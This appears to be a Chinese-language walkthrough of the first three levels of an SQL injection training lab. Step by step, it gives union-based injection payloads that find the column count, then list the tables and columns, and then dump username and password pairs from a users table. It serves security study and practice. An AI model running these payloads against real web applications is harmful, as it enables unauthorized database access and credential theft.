Less-1
- 判断注入类型
?id=1 有正确回显
?id=1 and 1=2 有正确回显
?id=1’ 出现语法报错
猜测该为字符型注入,后端执行代码为:
select … from … where id=‘?id’
这里需要闭合单引号 - 猜测字段数
?id=1’ order by 3–+ 回显正常
?id=1’ order by 4–+ 回显错误
得字段数为3 - 获取字段位置
?id=-1’ union select 1,2,3–+
- 获取数据库名
?id=-1’ union select 1,database(),3–+
- 获取数据库表名
?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+
- 获取users表的字段名
?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+
- 获取username和password字段值
?id=-1’ union select 1,group_concat(username,0x3a,password),3 from users–+
Less-2
- 判断注入类型
?id=1 正确回显
?id=1 and 1=2 不回显
即这里与Less-1不同,为数字型注入,不需要闭合单引号 - 猜测字段数
?id=1 order by 3 正确回显
?id=1 order by 4 错误回显
即字段数为3 - 获取字段位置
?id=-1 union select 1,2,3
- 获取数据库名
?id=-1 union select 1,database(),3
- 获取数据库表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’
- 获取users表的字段名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’
- 获取username和password字段值
?id=-1 union select 1,group_concat(username,0x3a,password),3 from users
Less-3
- 判断注入类型
?id=1 正常回显
?id=1 and 1=2 正常回显
?id=1’ 回显报错
由报错猜测后端字符串处为:(‘$id’)
故这里在单引号后面加上一个单括号
(之后步骤与1、2相同,就不放图片了) - 猜测字段数
?id=1’) order by 3–+ 正常回显
?id=1’) order by 4–+ 回显报错
得字段数为3 - 获取字段位置
?id=-1’) union select 1,2,3–+ - 获取数据库名
?id=-1’) union select 1,database(),3–+ - 获取数据库表名
?id=-1’) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+ - 获取表的字段名
?id=-1’) union select 1,group_concat(column_name),3 from information_schema.columns where table_name=‘users’–+ - 获取字段值
?id=-1’) union select 1,group_concat(username,0x3a,password),3 from users–+